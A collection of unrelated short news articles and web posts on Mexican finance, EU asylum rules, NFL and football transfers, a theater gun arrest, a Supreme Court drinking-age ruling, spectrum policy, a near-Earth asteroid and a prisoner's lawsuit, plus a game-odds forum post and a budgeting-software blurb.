-Mexican Finance Minister Jose Antonio Meade attends a conference marking the International Day of Family Remittances 2017 in Mexico City, Mexico June 16, 2017. REUTERS/Carlos Jasso  MEXICO CITY (Reuters) - Mexico’s government should slow the pace of its budget cuts next year and it will not likely see a surplus from the central bank due to the recovery in the peso currency, the country’s finance minister said on Tuesday.  Mexico’s 2018 budget is likely to see a lower “adjustment” to public finances than in previous budgets, finance minister Jose Antonio Meade said in an interview on local radio.  He said Mexico would still meet a deficit target of 2.5 percent of gross domestic product by the end of 2018.  The collapse in global oil prices LCOc1 CLc1 in late 2014 forced Mexico to make sizeable cuts to the federal budget in the past couple of years, and Wall Street credit rating agencies last year warned they could cut Mexico’s debt rating.  Mexico’s government had previously relied on oil sales by state-run Pemex to fund around a third of its budget, but lower prices and a slump in production have pushed oil income to less than one-fifth of the government’s revenue.  Meade also said the ministry was unlikely to receive a surplus transfer next year from the central bank, noting the peso would have to weaken back past 20.50 per dollar MXN= by the close of 2017 in order for that to happen. "That, today, does not seem to be the central scenario," the minister said.  The peso, which suffered a significant slump last year, has been the best performing major currency this year, gaining over 15 percent in 2017. It is now trading just above 18 per dollar as fears have eased that the administration of U.S. President Donald Trump will slap tariffs on Mexican-made goods.  The central bank books a surplus from reserve assets when the peso weakens against the dollar during the year. In March, the central bank transferred 321.7 billion pesos ($18 billion) of its 2016 surplus to the federal government.
-A spokesman for David Cameron, pictured leaving Downing Street today, has insisted no formal proposals have been tabled  The UK will 'strongly' protest changes to EU migration rules that mean asylum seekers have to make a claim to stay in the first country they arrive in.  Under the so-called Dublin Convention, refugees have to claim asylum in the country they first enter and they can be returned there under EU rules.  But bureaucrats are set to try and push a change on Britain as David Cameron attempts to complete his renegotiation on Britain's membership of the EU next month.  The ultimatum from Brussels is expected to include a new push for Britain to take tens of thousands of migrants as part of a quota system in return for the right to deport people who reach the UK to claim asylum after travelling through several other countries.  It could throw the Prime Minister's renegotiation of Britain's EU membership into turmoil ahead of the referendum.  Reforms to the Dublin protocols had been due for debate on March and today a No 10 spokesman today insisted no proposal had been put to Britain so far.  At a briefing with journalists, International Development Secretary Justine Greening said: 'Yes, we would be concerned and strongly against any change against on initial country status that we have got right now.'  Britain has resisted signing up to a quota system on the basis it will draw more migrants from a war torn Middle East. Instead, the Government has gone to refugee camps to rescue the most needy.  But reports from Brussels emerged last night indicating Britain would be told to join a controversial quota scheme to take new arrivals from Greece or Italy or face being stopped from using EU deportation rules to its advantage.  The United Nations has estimated one million people will try and get into Europe this year, either by sailing across the Mediterranean or walking through the Balkans - an area currently suffering from freezing winter weather.  Eurosceptics last night accused the EU of 'mafia-style blackmail' to force the UK to submit to their refugee relocation plan.  More than 12,000 people have been removed from Britain to other EU countries under these rules since 2003 – a figure the Home Office has boasted is 'many more than we have received in return'.  But in proposals to be officially unveiled in March, the Dublin Regulation would be overhauled to include a mandatory mechanism sharing would-be refugees arriving on the frontline between EU member states.  European Commission President Jean Claude Juncker today said he wanted an additional summit added to European leaders' schedule specifically discuss the migration crisis.  Because the talks on Britain's membership of the EU, Mr Juncker said he was 'rather worried that we won't have enough time to tackle the refugee question in sufficient depth'.  If the Dublin regulations were changed would mean that, if Britain wanted to be able to deport asylum seekers who have travelled through other EU countries first, it would have to take refugees.  Justine Greening, pictured last week visiting refugees in Lebanon, has said Britain will strongly resist any change to the system of asylum applications in Europe  Tory MEP David Campbell Bannerman, of Conservatives for Britain, last night told the Mail: 'This is a complete disgrace. It's clear we no longer have control of our borders, just the controls the EU allows us if we are lucky.  'The linkage between the two is mafia-style blackmail.'  An EU source said: 'The UK retains the right to choose whether or not they participate in the new system.'  Meanwhile, Austria has put a cap on the number of refugees it wants to accept - 37,500 this year and a total of 127,500 through 2019.  The numbers were announced after a meeting of federal ministers and provincial governors.  Chancellor Werner Faymann said the figures are a 'guideline' while deputy chancellor Reinhard Mitterlehner called it an 'upper limit'. The two officials are from the two parties that make up Austria's coalition government.  Officials said the government will be examining legal options on how it can react if those numbers are exceeded.  Mr Faymann called the decision an 'emergency solution', but said Austria 'cannot accept everyone applying for asylum'.  Asylum applications in the surged in 2015, according to figures from the International Monetary Fund and they are expected to grow further this year  Migration last year was driven by a huge surge in the number of people fleeing Syria, while numbers from Afghanistan also surged  Not included are the 90,000 applications from last year, of which many are still being processed.  THE DUBLIN RULES STRETCHED TO BREAKING POINT BY THE MIGRANT CRISIS The Dublin Convention is an EU law which requires refugees arriving in Europe to claim asylum in their country of arrival. It applies across the EU, while Switzerland, Norway and Iceland have also agreed to apply the provisions. Denmark has its own deal with the EU on the rules. The convention was signed in Dublin in July 1990 and came into force for 12 countries in October 1997. Dublin II was created in 2003, expanding on the original provisions. The goal of the laws is to discourage people from illegally travelling across Europe. The explosion of the migrant crisis in 2015 strained the convention to breaking point as countries in south and east Europe were deluged with hundreds of thousands of migrants escaping conflict in a matter of months. Several countries, including Germany, temporarily suspended the convention.  The European Council president warned yesterday that the EU will face the collapse of its Schengen border-free travel area unless migration policy is sorted out before the March summit. Donald Tusk told MEPs: 'We have no more than two months to get things under control.'  EU migration commission Dimitris Avramopoulos told a committee of MEPs that the 'Dublin Regulation'must be 'revised very deeply' to include a mechanism to distribute asylum seekers 'quasi-automatically'.  He said: 'The Commission will make a proposal by March of this year. Dublin should not be any more just a mechanism to allocate responsibility, but also a solidarity instrument among member states.  'In particular they need to have distribution key system under which applicants would be quasi-automatically distributed to a member state.  'Dublin must be revised very deeply. When Dublin was adopted the situation and the landscape was very different, things have changed.  'The ones who defend the old Dublin, I wonder whether they really understand the situation today.'  Meanwhile more migrants are arriving in Greece – the gateway to the EU – by boat each day than the figure for the whole of January last year. In the first 18 days of 2016, 31,244 people have come ashore on the country's islands at a rate of 1,735 a day.  Some 1,472 migrants were recorded crossing the Aegean in the whole of January last year.  More than 12,000 people have been sent to other EU countries from Britain since 2003. Pictured: Migrants from Syria, Iraq and Afghanistan walk this week in very cold weather, through snow in Macedonia to a camp  The International Organization for Migration warned the surge suggests the number arriving in Greece in 2016 'may significantly exceed the record 853,650 migrants' who arrived last year.  Although the number is down on the 108,742 that arrived in December, it has set off alarm bells that the situation is much worse than a year ago.  Westminster insiders said the revelations made the prospect of David Cameron holding his EU referendum in June even more likely. Number Ten is concerned that, if this summer brings an influx even greater than last year, it could tip the contest in favour of the Leave campaign.  And the world's financial watchdog warned last night that Europe is being overwhelmed by a 'tide' of migrants and the jobs market may be unable to cope.  The IMF said the EU was struggling to absorb the vast numbers of new arrivals and a strong response was 'critical'.  But Brussels officials plan to link deportation scheme to the controversial refugee quota, which Britain has so far resisted signing up to  Cabinet minister Chris Grayling, who is expected to be a leading figure in the campaign for Britain to leave the EU, also warned there were 'some really difficult times ahead for countries in central Europe in dealing with the incredible flow of migration that just continues day by day, week by week'.  The surge in the number arriving on the Greek islands shows that the deal where EU countries agreed to hand over £2.1billion to Turkey to stem the flow has failed to make a difference.  Austria has announced that its army will start carrying out thorough identity and bag checks of every migrant arriving at the main border crossing with Slovenia from today.  Britain has spent more than £1MILLION on an emergency camp for migrants who made it to an RAF base on Cyprus but are banned from coming to the UK  More than £1million has been spent looking after migrants who landed at an RAF base in Cyprus three months ago, it emerged today.  Boats containing 115 Greece-bound people - 67 men, 19 women and 29 children - arrived on the shores of RAF Akrotiri on October 21.  Ministers have refused to resettle the group to Britain in case it creates a new migrant route into Britain.  Figures released by the Ministry of Defence last month said one of the group had been imprisoned, 60 had moved in Cypriot communities and 54 were still on the base.  Those still there have been housed in a 'transit facility' outside the military garrison.  Defence Minister Penny Mordaunt told MPs that the emergency response, security, construction of a temporary camp and support costs have so far amounted to £1,122,972.  But shadow defence secretary Emily Thornberry said: 'It is completely inappropriate for a military base to be used as refugee camp.  'This is a question of leadership.  'We need a serious strategy for dealing with the refugee crisis, but these figures suggest that the Government is more interested in throwing money at the problem than in coming up with a genuine solution.'
-Former Miami Dolphins guard Richie Incognito has been cleared by the NFL for a return to "full activity and regular-season game participation," a league source told ESPN NFL Insider Adam Schefter on Monday.  The Dolphins had Incognito on paid suspension, and the NFL wanted to review its investigation before saying whether it would allow him to sign. Now that this step has been taken, Incognito is free to not only sign with a team but play right away.  Editor's Picks Yasinskas: Incognito? Bucs on dangerous road The desperate, guard-depleted Buccaneers are on a dangerous road as they consider signing Richie Incognito, Pat Yasinskas writes.  There are at least three and as many as five teams interested in and talking with Incognito, a source told Schefter. He is likely to sign somewhere by the end of the week, according to the source.  Incognito visited with the Tampa Bay Buccaneers on Monday. A team official told ESPN.com's Pat Yasinskas that the Bucs were doing their due diligence, and a signing wasn't necessarily imminent.  "We had a very constructive meeting with Richie,'' general manager Jason Licht told the Tampa Bay Times after he and coach Lovie Smith had dinner with Incognito. "It went on for about five hours. We haven't ruled him out and he remains an option.''  It marked Incognito's first trip to any team facility since his implication in the bullying scandal involving former Dolphins teammate Jonathan Martin.  On Tuesday, Indianapolis Colts coach Chuck Pagano did not rule out the possibility of reaching out to Incognito.  "I think anybody that's on the street right now after cut downs this weekend, anybody that comes available we'll discuss," Pagano said. "We will not say yay or nay based on history. If it makes sense, if it's going to help us win and it's the best thing for the team and this organization it doesn't matter if it's Richie or anybody else we'll do what's right for this organization, for what's best for this team. What gives us the best chance to win."  The Colts have battled through injuries and a lack of experience on their offensive line which is charged with protecting quarterback Andrew Luck, who was a teammate of Martin's at Stanford.  A league investigation determined that Incognito and two other Dolphins offensive linemen -- John Jerry and Mike Pouncey -- engaged in persistent harassment of Martin, who left the team in October.  Incognito was suspended and missed the final eight games. He became a free agent when his contract with the Dolphins expired.  "To me, nobody should have a death sentence. If you should, you're probably in jail. From there, what does it hurt to talk to someone? For me, as we go forward, I'm not holier-than-thou. I'm going to give everybody the benefit of the doubt until I have information that tells me otherwise." Lovie Smith, on Richie Incognito  Buccaneers coach Lovie Smith addressed the team's interest in Incognito on Monday, saying that he believes in second chances.  "To me, nobody should have a death sentence. If you should, you're probably in jail," he said. "From there, what does it hurt to talk to someone? For me, as we go forward, I'm not holier-than-thou. I'm going to give everybody the benefit of the doubt until I have information that tells me otherwise."  Earlier this year, NFL commissioner Roger Goodell said the three players named in the league's investigation into the Dolphins bullying scandal must be evaluated by medical professionals and complete treatment before they will be allowed to return to the playing field.  Goodell said earlier this month during the Pro Football Hall of Fame weekend that all three players have fulfilled league requirements so far.  "I would say the one person that has been very responsive and has gone through the program is Richie Incognito," Goodell said. "We're working with his people and monitoring his progress."  Both quarterback Josh McCown and defensive tackle Gerald McCoy said Monday that there wouldn't be a problem in the locker room if Incognito is signed.  "I don't care. As long as he can help us win, that's all I'm concerned about. If there's a problem, then we'll deal with it accordingly," McCoy said. "But as long as he's doing what he's supposed to be doing in the building, then I'm not concerned about anything else."  The 31-year-old Incognito, an offensive guard, has played in 102 games (all starts) over eight seasons with the Dolphins, Buffalo Bills and St. Louis Rams, who selected him in the third round of the 2005 draft.  ESPN NFL Insider Adam Schefter, ESPN.com Buccaneers reporter Pat Yasinskas, ESPN.com Broncos reporter Jeff Legwold, ESPN.com Colts reporter Mike Wells and The Associated Press contributed to this report.
-"We are here today,” Professor Stuart Rees told a media conference at Queens Square on October 30, “to express our outrage that a so-called independent law centre from Israel could attempt to stamp out freedom of speech in Australia.”  "We call on the mainstream media to take an objective stand on the issue of Palestinian human rights.”  The gathering concerned the move by Shurat HaDin, an Israeli-based law centre, to file a case in the Federal Court against Professor Jake Lynch of the University of Sydney's Centre for Peace and Conflict Studies.  Rees and Professor Peter Slezak said before the conference: "[Shurat HaDin] claim that [Rees] he has supported policies which are racist and discriminatory by his specific endorsement of an academic boycott of Israeli institutions and individuals within them, because of these institutions' support of the illegal occupation of Palestine and their close connections with the Israeli armament industry.  "This lawfare attack against academic freedom and freedom of speech has been condemned by over 2000 Australian and international human rights advocates from some 60 countries, who have all signed a pledge supporting BDS and offering to be co-defendants in any legal action taken against Lynch.  "Shurat HaDin has taken many similar actions internationally against groups who supported the Boycott Divestment and Sanctions movement. Professor Rees comments, 'It seems that this firm, Shurat HaDin, works in the civil courts as a proxy for the Israeli government and security forces, seeking to shut down any criticism of the state and its ongoing human rights abuses and violations of international law.'  "This overseas law firm now wants to silence this highly regarded academic, by taking their complaint to the Federal Court. This challenges the right to take non-violent action in support of international human rights law and the rights of the dispossessed Palestinians. Australians for BDS condemns racism in all its forms, and specifically anti-Semitism.”
-James Rodriguez was presented to the Real Madrid fans on Tuesday  Real Madrid have signed Colombian star James Rodriguez from Monaco in a £63million deal.  The 23-year-old successfully passed a medical in Madrid this morning before agreeing a six-year deal and is scheduled to be unveiled in the Spanish capital this evening.  Rodriguez will join up with Cristiano Ronaldo, Gareth Bale and Karim Benzema to provide a formidable attacking threat for the Champions League winners.  Rodriguez was one of the stars of the World Cup, scoring six goals for his country on his way to winning the tournament’s Golden Boot award.  European champions Real Madrid have signed the World Cup Golden Boot winner James Rodriguez for 63 million pounds from Monaco. European champions Real Madrid have signed the World Cup Golden Boot winner James Rodriguez for 63 million pounds from Monaco.  The attacking midfielder scored the goal of the tournament at the World Cup with a stunning volley against Uruguay in the last 16.  He makes the move to the Spanish capital after spending one season at Monaco, whom he joined from FC Porto for £35million last summer.  Rodriguez scored nine goals and registered 12 assists for Monaco last season as they finished second in Ligue 1 behind Paris Saint-Germain.  James Rodriguez has been revealed to the Real Madrid fans at the Bernabéu Stadium James Rodriguez has been revealed to the Real Madrid fans at the Bernabéu Stadium  A Real statement read: "The player will be presented today, Tuesday 22 July, at 20:00 CET (7pm), in the Santiago Bernabéu's presidential box.  "Following that, James Rodríguez will take his first steps on the Santiago Bernabéu's pitch wearing the Real Madrid jersey and will then answer questions from the media outlets in attendance in the press room."  A statement on Monaco’s official website read: "The club would like to take the opportunity to thank James for the role he played in getting the club back to the Champions League and wishes him the very best for the future.  "The club had no intention to sell the player, however the time came when the solution of a transfer was considered to be the most beneficial solution for all parties.  The club had no intention to sell the player, however the time came when the solution of a transfer was considered to be the most beneficial solution for all parties. Monaco club statement  "Monaco is proud to be a party to one of the most significant transfers in football history.  "Monaco is a club that will continue to grow and remains focused on the future. More than ever it has the ambition to strengthen the team and continue to progress for next season."  Rodriguez began his professional career with Colombian side Envigado before moving down to Argentinian club Banfield aged 17.  His performances for the Buenos Aires outfit attracted the attention of Porto, who signed him for £4million in 2010, and three years later he joined Monaco for £38.5million after helping the Portuguese side win a hat-trick of league titles and the 2011 Europa League.
-UPDATE: Man arrested at Grand Blanc theater with gun, body armor and fake CIA ID has concealed weapon license suspended  GRAND BLANC TWP, MI -- Grand Blanc Township police arrested a Flint man Tuesday at the NCG Trillium theater who was wearing body armor, carrying a loaded gun with multiple rounds of ammunition and a suspected fake federal identification badge.  Cassidy Delavergne was charged and arraigned in federal court Wednesday, July 31, with having a fake CIA identification card, said Grand Blanc Township Detective Matt Harburn.  The detective said officers were called by the theater, located at 8220 Trillium Circle Avenue, on Tuesday, July 30, around 8:20 p.m. regarding a man with a gun. Delavergne was in a theater watching a movie when the officers approached him and asked him to step outside. Harburn says that is when Delavergne claimed to be a federal agent.  "They were confident that wasn't true, and that's when they arrested him." Harburn said.  Authorities say Delavergne was wearing body armor and carrying a loaded Beretta 9mm pistol along with an extra magazine of ammunition containing 17 rounds.  According to federal court records, the FBI was contacted by the Grand Blanc Township Police Department about the identification. Delavergne told the FBI agent he went to the theater after work wearing his gun and body armor because he did not want to leave them in his car. Federal court documents say he told FBI agents that he had a permit to carry a concealed firearm.  Delavergne also told the FBI agent the CIA credentials he was carrying were fake, and he flashed the badge at the theater so theater patrons wouldn't be alarmed about the firearm he was carrying, according to court records. He then said he showed the badge to the officers to avoid legal trouble, court documents say.  The FBI agent said a later search of Delavergne's car and found an additional 111 rounds of 9mm ammunition.  Theater representatives could not immediately be reached for comment.
-Author: arkayn Nice post. I wanted to add to it a little bit... While those exact percentages are not really that hard to calculate or remember, sometimes it's hard to translate on the fly to what that really means to me in the decision making process. I usually think of an even rougher breakdown of the odds for at least a first pass at eliminating choices... Basically, I break the odds down to: not likely, coin flip, and very likely.  1 AV:  coin flip to kill a 1 life unit (or wound a stronger unit)  2 AV:  very likely to kill a 1 life unit  coin flip to kill a 2 life unit (very likely to wound)  3 AV:  very likely to kill a 1 or 2 life unit  unlikely to kill a 3 life unit  4 AV:  very likely to kill a 1 or 2 life unit (overkill vs. 1 life)  coin flip to kill a 3 life unit  unlikely to kill a 4 life unit  5 AV:  very likely to kill a 1-3 life unit (overkill vs. 1 life)  coin flip to kill a 4 life  nearly impossible to kill a 5 life  Yes, that coin flip for a 2 AV killing a 2 life is much worse coin flip than a 1 AV killing a 1 life, and when it comes down to two coin flips that are equally helpful to my position, I might remember the real odds and go from there. And yes, that "very likely" for a 3 AV to kill a 2 life unit is awfully close to the "coin flip" for a 1 AV to kill a 1 life. But there have to be breakpoints somewhere, and even 67% is decent odds, I still prefer to be a little pessimistic.  But basically, "very likely" is something I can more or less count on. Try not to put myself in a position where a "very likely" failing will completely screw me, but taking risks for a "very likely" is generally OK. "unlikely" means don't even try it if it puts me in a bad position - or only try it if it doesn't cost anything or I have a backup plan. "coin flip" means don't count on it, try to have a contingency plan, but generally worth risking or spending moves to set up.
-WASHINGTON, June 23— The Supreme Court, by a vote of 7 to 2, today upheld a Federal law aimed at encouraging states to raise the legal drinking age to 21 years by withholding some highway grants from those that fail to do so.  In a second case, the Justices unanimously overruled an 1861 Supreme Court decision that Federal courts have no power to order state governors to extradite criminal suspects to other states. The Justices held that Iowa must extradite a man charged in Puerto Rico with murdering a pregnant woman there.  The drinking-age decision essentially leaves the status quo intact by removing doubt about the validity of the 1984 Federal law. Twenty-three states, including New York and Connecticut, have raised their drinking ages since it was passed. The ruling was widely expected.  Chief Justice William H. Rehnquist's majority opinion rejected arguments by South Dakota and several state and local government groups that the law violated constitutional principles of federalism and the broad powers of the states under the 21st Amendment to regulate sales of alcoholic beverages. He called the law a ''relatively mild encouragement to the states to enact higher minimum drinking ages than they would otherwise choose.'' #2 Justices Disagree Justices Sandra Day O'Connor and William J. Brennan Jr. dissented separately. Justice O'Connor said the law was ''an attempt to regulate the sale of liquor'' that encroached on the powers of states under the 21st Amendment, which repealed Prohibition and authorized states to regulate sales of alcoholic beverages.  A major goal of the 1984 law was to reduce highway deaths by preventing teen-agers from drinking and driving, and especially to remove the incentives to cross state lines to buy liquor.  It provided for withholding part of Federal highway funds otherwise due to states that allow people under 21 to drink. Five percent of a state's highway funds can be withheld for the current fiscal year, and the figure will rise to 10 percent for the next fiscal year. The total cost for a state that does not have a 21-year-old drinking age could come to many millions of dollars.  As of last March, six states and the Commonwealth of Puerto Rico had legal drinking ages for some or all alcoholic beverages of 18 or 19, according to a General Accounting Office study. Those states are South Dakota, Wyoming, Montana, Louisiana, Colorado and Ohio. Under South Dakota law, 19-and 20-year-olds are permitted to buy low-alcohol beer.  All other states had adopted 21-year-old drinking-age laws. Nineteen of them, including New Jersey, had adopted such laws before 1984, and were essentially unaffected by the new Federal law. Decision Was Expected  Critics of the law said today that they were disappointed but not surprised by the decision today, which followed a long line of Supreme Court rulings that the Federal Government has broad powers to attach conditions to grants of money to state and local governments and others.  Chief Justice Rehnquist said in his opinion that the Court did not have to decide whether the 21st Amendment would bar Congress from legislating directly a national minimum drinking age. He said past decisions had already established that ''the constitutional limitations on Congress when exercising its spending power are less exacting than those on its authority to regulate directly.''  He said in his opinion the 1984 law's purpose of reducing drunken driving was ''directly related to one of the main purposes for which highway funds are expended: safe interstate travel.''  Justice O'Connor, in her dissent, said the vast majority of highway deaths involving drinking were caused by people over the age of 21. ''Establishment of a minimum drinking age of 21 is not sufficiently related to interstate highway construction to justify so conditioning funds appropriated for that purpose,'' she said.  South Dakota had argued in its appeal (South Dakota v. Dole, No. 86-260) that its law fostered ''temperance and safety'' by giving 19- and 20-year-olds access to ''legal drinking, as opposed to surreptitious drinking that will inevitably occur.'' Ruling on Extradition  The extradition decision (Puerto Rico v. Branstad, No. 85-2116) presented a historical paradox.  Justice Thurgood Marshall, the only black Justice in the Court's history, noted that the 1861 decision that the Court was overruling had shielded a ''free man of color'' from being extradited from Ohio to Kentucky to face trial on the eve of the Civil War for ''the crime of assisting the escape of a slave'' in Kentucky.  The Court's ruling that Federal courts may order unwilling governors to extradite fugitives to other states also could have considerable practical significance.  It involved a man whom two Iowa governors in succession had refused to extradite at the request of Puerto Rico after he had jumped bail on the murder charge there.  One of his lawyers had stated at one point in the Iowa proceeding that a white American man ''could not receive a fair trial in the Commonwealth of Puerto Rico,'' Justice Marshall noted in his opinion.
-We are now living in an era where expenses are continuously on the rise. The latest downturn did not help either. The recession caused lots of people to loose their careers while living expenses were always on the rise. This meant that individuals had no work however needed to spend their. We are now living in an era in which being in debt has turned into a part of the manner in which we are. Many Americans today have a little debt or the other person. This’s since they don’t have the habit to save or maybe budget the expenses of theirs. Individuals who didn’t budget the expenses of theirs or didn’t concentrate on saving their cash would be the one’s who experienced probably the most during the recession. On this page I’m going to provide you with plenty of info on home budget program, best budget software, and personal budget software.  Individuals have to recognize the advantages of these budgeting software’s. You are able to find lots of reliable and efficient products online. They’re offered at very inexpensive rates. You can actually plan the monthly budget of yours by utilizing these house budget software’s for just five minutes one day. If you live by yourself you could choose personal budget software to help you monitor the expenses of yours. These products are going to make your month budgeting a reliable and quick process. You won’t have to waste extra time on creating the own spread sheets of yours. It is generally a great start to prepare a house budget by yourself however these software’s help streamline the procedure when you are in debt and looking for solutions. By budgeting you’re not just benefiting the family of yours but society on the entire. Here are a few advantages with regards to budgeting software’s. Continue reading “The Benefits Of Home Budgeting Software” →
-AT&T is looking to put some of its unused spectrum to work in a move that could reshuffle the wireless spectrum deck.  On Friday, the carrier filed a joint proposal to the Federal Communications Commission with satellite radio provider Sirius. In the filing, the two companies proposed a solution to some longstanding interference concerns between AT&T's unused WCS spectrum, which is in the 2.3 GHz band and Sirius's satellite radio service. As part of this new proposal, AT&T agreed to give up about 10MHz of this Wireless Communication Services or WCS spectrum as a "guard band" to prevent interference with Sirius's satellite transmission.  The proposal will also change the rules of spectrum in the 2.3GHz band, making it easier for AT&T to use this spectrum for its 4G LTE network. If the FCC goes along with the plan, it would be a huge boost for AT&T, which already owns a significant portion of the WCS spectrum. And it would help give the company near nationwide coverage.  But the move could hurt other spectrum holders that were hoping to capitalize on AT&T's desperation for new spectrum. Namely satellite provider Dish Network and wholesale 4G wireless provider Clearwire could be hurt by this move, says Guggenheim Partners analyst Paul Gallant. In a research note today to investors, he said that if AT&T can use its 2.3MHz spectrum for LTE, it may not need to buy spectrum from Dish. And it may not need to partner with Clearwire, which has adopted a strategy of wholesaling access to other carriers.  "If AT&T wins approval for its joint proposal -- and if it can acquire some of the other WCS licenses from parties that currently appear unlikely to build, for example NextWave, Dish and Clearwire could become less attractive spectrum targets for AT&T," he said in his note.  In exchange for giving up a big chunk of spectrum for a guard band, AT&T is also asking the FCC for more lenient rules on the rest of the spectrum it plans to use to build its LTE network. AT&T also wants the FCC to extend the build-out requirements on this spectrum.  But even if the FCC adopts AT&T's suggestions, it could still be three to five years before the spectrum is available for use, some analysts predict.  Still, the move would put AT&T on closer footing with Verizon Wireless, which has a large store of unused spectrum it plans to use for its 4G LTE network. Verizon already owns a significant nationwide chunk of 700MHz wireless spectrum as well as some Advanced Wireless Services spectrum it hasn't used yet. It's now trying to buy about 20 MHz of unused AWS spectrum from several cable companies to add to its coffers.  The spectrum in question was first auctioned off in 1997. But from the start there were interference issues between users of that spectrum and the neighboring satellite radio owners. In May 2010, the FCC suggested rules changes for the 2.3GHz WCS band. These changes would have made it possible for the spectrum to be used for wireless broadband services. And it would have protected against interference. But AT&T and others objected to the finer points of the FCC's proposal at the time.  "Our concern, quite simply, was that the newly-adopted service rules did not permit the deployment of an efficient mobile broadband service in the band, something that AT&T deemed vital for the spectrum to be fully and effectively utilized," Joan Marsh, AT&T's vice president of regulatory affairs, said in a blog post yesterday.  Marsh admitted in her post that the problems the FCC was trying to solve are complex. And she explained that as technologies and companies' priorities have changed, it's now been able to strike a mutually beneficial deal with satellite radio license holders. But she said that there were still compromises made by parties to reach this agreement.  "To be sure, neither party to this proposal got everything it had asked for and perhaps wanted," she said in the blog. "But both AT&T and Sirius XM are confident that they have developed a set of technical rules that will allow each service to flourish while ending the uncertainty that has plagued both bands for far too long. We are hopeful that the commission will agree."  The FCC is likely to rule on the proposal by the end of the year.
-The small asteroid 2017 EA, which is less than 10 feet (3 meters) across, swooped in past Earth's geosynchronous satellites on March 2, 2017, before heading back out into space. Researchers discovered it 6 hours before its closest approach to Earth.  An asteroid less than 10 feet (3 meters) across buzzed Earth last week, diving in closer than many communications and weather satellites.  The asteroid, called 2017 EA, passed closest to Earth on Thursday, March 2, at 9:04 a.m. EST (1404 GMT) above the eastern Pacific Ocean. It reached within 9,000 miles (14,500 kilometers) of Earth, which is less than one-twentieth the distance from Earth to the moon, officials from NASA's Center for Near-Earth Object Studies (CNEOS) said in a statement. It won't be back in Earth's neighborhood for more than 100 years, they added.  Researchers monitoring the Catalina Sky Survey in Arizona first spotted the asteroid 6 hours before its closest approach; many other observatories monitored it as well as it flew toward Earth. It disappeared from view into Earth's shadow just before its nearest point.  The asteroid came in closer than satellites in geosynchronous orbit — the farthest orbit satellites regularly use, where they stay over one part of Earth as it turns. That orbit is good for providing communication services or monitoring one particular part of Earth's surface.  The small asteroid 2017 EA, which is less than 10 feet (3 meters) across, swooped in past Earth's geosynchronous satellites on March 2, 2017, before heading back out into space. Researchers discovered it 6 hours before its closest approach to Earth. (Image: © D. Farnocchia/NASA/JPL)  Space.com asked asteroid researcher Carrie Nugent, at IPAC, NASA's science and data center at California Institute of Technology, what would have happened had 2017 EA hit Earth rather than just passing by.  "I would imagine 3 meters wouldn't be much of a worry," said Nugent, who is the author of an upcoming book on asteroid monitoring called "Asteroid Hunters" (TED Books, 2017).  "It would likely burn up very quickly, it might create a beautiful light show, maybe you might have some meteorites out of it — but maybe not." The exact effect would depend on the asteroid's composition, she added; predicting an asteroid's effects based on its composition is an active area of study.  Although the asteroid was a stranger as it came in, its oblong orbit around the sun is now well understood as it heads back out. And researchers won't get another close look for more than 100 years.  Email Sarah Lewin at slewin@space.com or follow her @SarahExplains. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.
-Umar Farouk Abdulmutallab, convicted of trying to bomb a Detroit-bound Northwest Airlines flight using explosives in his underwear, has filed a lawsuit over his treatment in federal prison in Colorado.  A man convicted of trying to blow up a Detroit-bound plane on Christmas Day in 2009 has filed a federal lawsuit saying that his constitutional rights, including his ability to practice his religion and meet his dietary needs, are being violated in a Colorado prison.  In a complaint filed last week, Umar Farouk Abdulmutallab, known as the underwear bomber, alleges that communication restrictions, including solitary confinement, imposed on him “are an unconstitutional deprivation of his First Amendment rights to free speech and association.” He also alleges violations of the Fifth and Eighth Amendments, and says he’s been frequently harassed over his religion during prayer times, when “white supremacist inmates ... often curse, yell, scream and say things that are religiously insulting and offensive to Muslims ...”  “Prison walls do not form a barrier separating prison inmates from the protections of the United States Constitution,” the filing states.  The lawsuit also states that some corrections officers have displayed pornographic magazines at prayer times, further offending him. “Corrections officers have also defiled religious items in Mr. Abdulmutallab’s cell, such as his Muslim prayer rug and Qu’ran.”  “This harassment has rendered it extremely difficult for Mr. Abdulmutallab to manage the difficulties of the harsh conditions of solitary confinement by taking solace in his religion and religious practices,” the lawsuit states.  Abdulmutallab, who is Muslim, has gone on a hunger strike to protest his treatment, but has been force fed, the suit says, which violates his religion. As a result, he has “been physically injured and continues to face an unconstitutional risk of physical injury, and he has suffered psychological pain, injury, and emotional distress and continues to face an unconstitutional risk of psychological pain, injury and emotional distress.”  The 73-page complaint filed in the District of Colorado also claims Abdulmutallab is forced to eat foods that are in violation of his religion.  Named as defendants in the lawsuit are U.S. Attorney General Jeff Sessions, the Federal Bureau of Prisons and John Does 1-20.  He is serving four life terms plus 50 years for convictions for the attempted use of a weapon of mass destruction on an airliner that landed in Detroit and the attempted murder of 289 people on board. He pleaded guilty without a plea deal for his failed attempt to blow up the airliner over Metro Detroit with a bomb in his underwear. He was sentenced at age 23 on Feb. 16, 2012.  A month after his conviction, Abdulmutallab was transferred to a maximum security prison in Florence, Colorado, ADX, where he was placed in indefinite, long-term solitary confinement, the lawsuit states.  At one point, he was not allowed to communicate with his sister, he says. Abdulmutallab still is prohibited from communicating with his 13 nieces and nephews, the filing says.  He is asking for acknowledgment that his First Amendment rights have been violated as well as his rights under the Religious Freedom Restoration Act. He also is seeking removal from solitary confinement and a permanent injunction ordering Sessions remove the Special Administrative Measures and prohibit future attorneys general from re-imposing the measures.  Abdulmutallab also seeks a halal-certified diet and regular access to an imam. The lawsuit states that since Abdulmutallab has been incarcerated he has not been able to participate in group prayer, which is in accordance to his religious beliefs. ADX prohibits prisoners from congregational prayer.  cwilliams@detroitnews.com  Twitter: CWilliams_DN  Read or Share this story: http://detne.ws/2gAtbMu
